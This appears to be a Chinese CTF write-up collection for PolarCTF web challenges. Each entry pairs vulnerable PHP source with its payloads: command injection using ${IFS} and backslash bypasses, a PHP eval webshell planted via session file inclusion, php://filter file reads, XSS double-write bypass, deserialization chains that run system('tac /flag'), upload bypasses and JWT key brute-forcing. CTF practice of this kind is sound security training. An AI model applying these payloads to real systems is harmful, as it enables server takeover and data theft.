swp(正则最大回溯)
先扫描得到.index.php.swp
,得到源码
function jiuzhe($xdmtql){
return preg_match('/sys.*nb/is',$xdmtql);
}
$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){
if(!jiuzhe($xdmtql)){
if(strpos($xdmtql,'sys nb')!==false){
echo 'flag{*******}';
}else{
echo 'true .swp file?';
}
}else{
echo 'nijilenijile';
}
}
考察正则最大回溯
import requests
payload = "sys nb"+"hsad"*1000000
url = "http://1ce7c85b-bed6-4e28-bf60-fcfb671efc81.www.polarctf.com:8090/"
data = {
"xdmtql":payload
}
response = requests.request("POST", url, data=data, allow_redirects=False)
if response.status_code == 200:
print(response.text)
else:
print(response.status_code)
简单rce
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
function no($txt){
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?> nonono
命令执行函数
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。(替换system)
输出函数
cat函数 由第一行开始显示内容,并将所有内容输出
tac函数 从最后一行倒序显示内容,并将所有内容输出
nl 类似于cat -n,显示时输出行号
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
sort 文本内容排列
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
空格绕过
${IFS}
{IFS}$9
$IFS$9
重定向符:<>(但是不支持后面跟通配符)
水平制表符%09
%0a 回车
%0d换行
Payload:
GET: /?sys=passthru('sort$IFS/flag');
POST: yyds=666
蜜雪冰城吉警店(js)
修改前端任意按钮id为9即可
召唤神龙
seek flag
Cookie:id改为1 flag1:flag{7ac5b
抓包响应 Flag2: 3ca8737a70f029d
<!--焯,爬虫要是爬到我的flag怎么办-->
查看robots.txt
#flag3:c0ad71dadd11}
jwt
响应头:Flag-is-admins-password
随便注册账号登录有个人中心可以看到密码,抓包得到jwt 不过要爆破key(看wp是4位大写字母不知道怎么爆的 恼
crunch 1 4 -f /usr/share/crunch/charset.lst ualpha -o ./4ualpha.txt
生成字典爆破 key为SYSA 将用户名改为admin即可得到密码
login
源码给了提示<!--20200101 20200101-->
登录上去 只显示了登陆成功 没思路
看了wp说是使用20200102返回了f 然后依次往下爆破😅
flag{dlcg}
iphone(UA标识)
尝试找个iPhone的UA头
# Safari 用户代理字符串
Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1
# 爬虫和机器人用户代理字符串
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)
# 库与网络工具的用户代理字符串
PostmanRuntime/7.26.5
curl/7.64.1
# 微软 Edge 用户代理字符串
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59
# Opera 用户代理字符串
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41
# Chrome 用户代理字符串
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
# Firefox 用户代理字符串
Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion
浮生日记(xss)
有点像xss但是过滤了基本的
先闭合"
然后在双写试试
"><scrscriptipt>alert(1)</scrscriptipt>
$$(GLOBALS)
<?php
/*
PolarD&N CTF
*/
highlight_file(__file__);
error_reporting(0);
include "flag.php";
$a=$_GET['c'];
if(isset($_GET['c'])){
if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
die("oh on!!!");}
else{
eval("var_dump($$a);");}}
$GLOBALS:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中任何地方总是可用的
global在PHP中的解析是:global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。
注:在函数体内定义的global变量,函数体外可以使用,在函数体外定义的global变量不能在函数体内使用
爆破
<?php
error_reporting(0);
if(isset($_GET['pass'])){
$pass = md5($_GET['pass']);
if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
include('flag.php');
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
<?php
error_reporting(0);
$string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
#62位
for ($a = 0; $a < 62; $a++) {
for ($b = 0; $b < 62; $b++) {
$flag = $string[$a] . $string[$b];
$pass = md5($flag);
if (substr($pass, 1, 1) === substr($pass, 14, 1) && substr($pass, 14, 1) === substr($pass, 17, 1)) {
if ((intval(substr($pass, 1, 1)) + intval(substr($pass, 14, 1)) + substr($pass, 17, 1)) / substr($pass, 1, 1) === intval(substr($pass, 31, 1))) {
echo $flag . "\n";
}
}
}
}
?>
XFF
X-Forwarded-For: 1.1.1.1
rce1
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
GET: /?ip=127.0.0.1;tac${IFS}fllllaaag.php#
GET-POST
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
include('flag.php');//文件包含,flag在flag.php文件中,不用想了你访问也没用
$id = $_GET['id'];
echo "你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1";
if($id == '1'){
echo "干的漂亮";
echo "<br/>";
echo "虽然我感受到了你的真诚,但还是不行,用POST请求传递一下jljcxy吧,令jljcxy=flag";
$jljcxy = $_POST['jljcxy'];
if($jljcxy == 'flag'){
echo $flag;
}
}
你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1
Payload:
GET: ?id=1
POST: jljcxy=flag
被黑掉的站
index.php.bak
里都是弱口令 去爆破shell.php的密码即可
签到题
发现cookie传了didi=no
改为yes返回了base64字符 解密得到路径./data/index.php
<?php
error_reporting(0);
$file = $_GET['file'];
if(!isset($file))
$file = '1';
$file = str_replace('../', '', $file);
include_once($file.".php");
highlight_file(__FILE__);
?>
直接伪协议读取?file=php://filter/read=convert.base64-encode/resource=/flag
签到
提交按钮把disabled
删了 再次提交得到提示
提交key=ilovejljcxy
即可
session文件包含
action.php目录可以文件包含
伪协议读取源码
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
Payload:
GET: ?file=/tmp/sess_iicon09s8aj9rhenj3rn6lhqj2
POST: name=<?php @eval($_POST['hsad'])?>
Don’t touch me
SignIn
robots
SignIn
php very nice
<?php
highlight_file(__FILE__);
class Example
{
public $sys='Can you find the leak?';
function __destruct(){
eval($this->sys);
}
}
unserialize($_GET['a']);
?>
Exp:
<?php
class Example
{
public $sys='system("tac fl*");';
}
$a = new Example();
echo serialize($a);
?>
ezupload
MIME限制 gif
cookie欺骗
SignIn
upload
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
双写绕过 源码里有路径
干正则
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
parse_str() 函数把查询字符串解析到变量中。
Payload:
?id=a[0]=www.polarctf.com&cmd=|tac f*
cool
<?php
if(isset($_GET['a'])){
$a = $_GET['a'];
if(is_numeric($a)){
echo "no";
}
if(!preg_match("/flag|system|php/i", $a)){
eval($a);
}
}else{
highlight_file(__FILE__);
}
?>
不理解 is_numeric 的意义
Payload: ?a=passthru('tac f*');
uploader
<?php
$sandBox = md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandBox)){
mkdir($sandBox,0755,true);
}
if($_FILES){
move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo $sandBox;
}
highlight_file(__FILE__);
1.
$sandBox = md5($_SERVER['REMOTE_ADDR']);
这行代码通过MD5哈希函数处理用户的IP地址($_SERVER['REMOTE_ADDR']
),生成一个32位的十六进制字符串。这个字符串将用作目录名。2.
if(!is_dir($sandBox)){
这行代码检查由MD5哈希生成的目录名是否已存在。is_dir()
函数用于检查指定路径是否为目录。如果不是目录(即不存在),则执行接下来的代码。3.
mkdir($sandBox,0755,true);
如果目录不存在,mkdir()
函数将创建一个新目录。权限设置为0755
(即所有者有读、写和执行权限,组和其他用户有读和执行权限)。true
参数表示创建多级目录,如果中间的某个目录不存在,也会一并创建。4.
if($_FILES){
这行代码检查是否有文件上传。$_FILES
是一个全局数组,包含了通过HTTP POST上传的文件信息。5.
move_uploaded_file($_FILES['file']['tmp_name],$sandBox."/".$_FILES["file"]["name"]);
如果有文件上传,move_uploaded_file()
函数将上传的文件从临时目录移动到由MD5哈希生成的目录中。$_FILES['file']['tmp_name']
是上传文件在服务器上的临时文件名,$sandBox."/"."$_FILES["file"]["name"]
是目标文件路径,即新创建的目录加上原始文件名。6.
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
输出上传文件的名称。7.
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
输出上传文件的MIME类型。8.
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
输出上传文件的大小,单位从字节转换为千字节(KB)。9.
echo $sandBox;
输出创建的目录名。
手动上传个马子 然后rce就行
import requests
url = "http://07f244aa-014e-4336-95be-997f5f132778.www.polarctf.com:8090/"
file = open('D:/CTF/upload/1.php', 'rb')
files = {"file": file}
response = requests.post(url, files=files)
if response.status_code == 200:
print(response.text)
else:
print("Upload failed")
覆盖
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
? 题一点儿没改
PHP反序列化初试
<?php
class Easy{
public $name;
public function __wakeup()
{
echo $this->name;
}
}
class Evil{
public $evil;
private $env;
public function __toString()
{
$this->env=shell_exec($this->evil);
return $this->env;
}
}
if(isset($_GET['easy'])){
unserialize($_GET['easy']);
}else{
highlight_file(__FILE__);
}
Exp:
<?php
class Easy{
public $name;
}
class Evil{
public $evil;
public $env;
}
$a=new Easy();
$a->name = new Evil();
$a->name->evil = 'tac [email protected]';
echo serialize($a);
机器人
访问robots.txt
得到前半段flag和敏感目录 但是要自己补个flag.php 没见过
扫扫看
SignIn
debudao
flag藏在cookie里面
审计
no no no! <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['xxs'])) {
$input = $_GET['xxs'];
if (is_array($input)) {
die("错误:输入类型不允许为数组。");
}
if (!preg_match("/^0e[0-9]+$/", md5($input))) {
die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
}
if (!is_numeric($input)) {
die("错误:输入必须是数字。");
}
die("恭喜:".$flag);
} else {
die("错误:必须设置正确参数。");
}
?>
错误:必须设置正确参数。
没意思?xxs=240610708
upload1
原题 没意思
rapyiquan(反斜杠 \
)
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
$url = $_SERVER['REQUEST_URI'];
function checkUrlParams($params) {
if (strpos($params, '_') !== false) {
return false;
}
return true;
}
if(checkUrlParams($url)){
$cmd=$_GET['c_md'];
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("badly!");
} else {
echo `$cmd`;
}
}else{
echo "$url";
echo "<br>";
echo "Hack";
}
反斜杠绕过 sort输出函数也可以
Payload:
?c[md=ta\c ../../../fl\ag.php
bllbl_ser1
<?php
class bllbl
{
public $qiang;//我的强
function __destruct()
{
$this->bllliang();
}
function bllliang()
{
$this->qiang->close();
}
}
class bllnbnl
{
public $er;//我的儿
function close()
{
eval ($this->er);
}
}
if (isset($_GET['blljl'])) {
$user_data = unserialize($_GET['blljl']);
}
Exp:
<?php
class bllbl
{
public $qiang;//我的强
}
class bllnbnl
{
public $er;//我的儿
}
$a = new bllbl();
$a->qiang = new bllnbnl();
$a->qiang->er = "system('tac /flag');";
echo serialize($a);
Payload:
?blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:20:"system('tac /flag');";}}
1ncIud3
?page=flag对应了./flag.php,文件后缀写死了是php
经过测试发现题目会将../替换为空,双写绕过可以目录穿越
import requests
from itertools import product
import time
# 定义字符替换规则
replace_list = {
'f': [ 'f', '4','F'],
'l': ['1', 'I', 'L', 'i','l'],
'a': ['@', '2', '3', '4','a'],
'g': ['g', '9', 'G', '3', '6']
}
# 目标字符串
target = "flag"
# 生成所有可能的组合
def generate_combinations(target, replace_list):
# 将目标字符串拆分成字符列表
chars = list(target)
# 生成每个字符的所有可能替换
replacements = []
for char in chars:
if char in replace_list:
replacements.append(replace_list[char])
else:
replacements.append([char])
# 使用 itertools.product 生成所有可能的组合
combinations = [''.join(combination) for combination in product(*replacements)]
return combinations
# 生成所有可能的组合
combinations = generate_combinations(target, replace_list)
# 目标 URL
url = "http://2e60dd05-b51e-49bf-9e32-2fef866f4105.www.polarctf.com:8090/" # 替换为实际的 API URL
# 发送请求
for combination in combinations:
params = {"page": "..././..././"+combination}
response = requests.get(url, params=params)
time.sleep(0.1)
# 打印响应
print(f"Sent: {combination}")
print(f"Response: {response.status_code} {response.text}")
# 如果响应中包含特定的内容,可以停止发送请求
if "flag" in response.text:
print(f"Found special response with combination: {combination}")
break
ps: 很不解的一道题
投喂
Welcome to the CTF Challenge!
Use the following API to interact:
POST a parameter "data" containing serialized User object
Hint: You might want to understand how PHP serialization works. Try to serialize a User object with the username and is_admin properties.
Extra Hint: If you can make the server think you are an admin (is_admin=true), you might get something special.
根据题意即可
Exp:
<?php
class User{
public $is_admin;
}
$a = new User();
$a->is_admin = true;
echo serialize($a);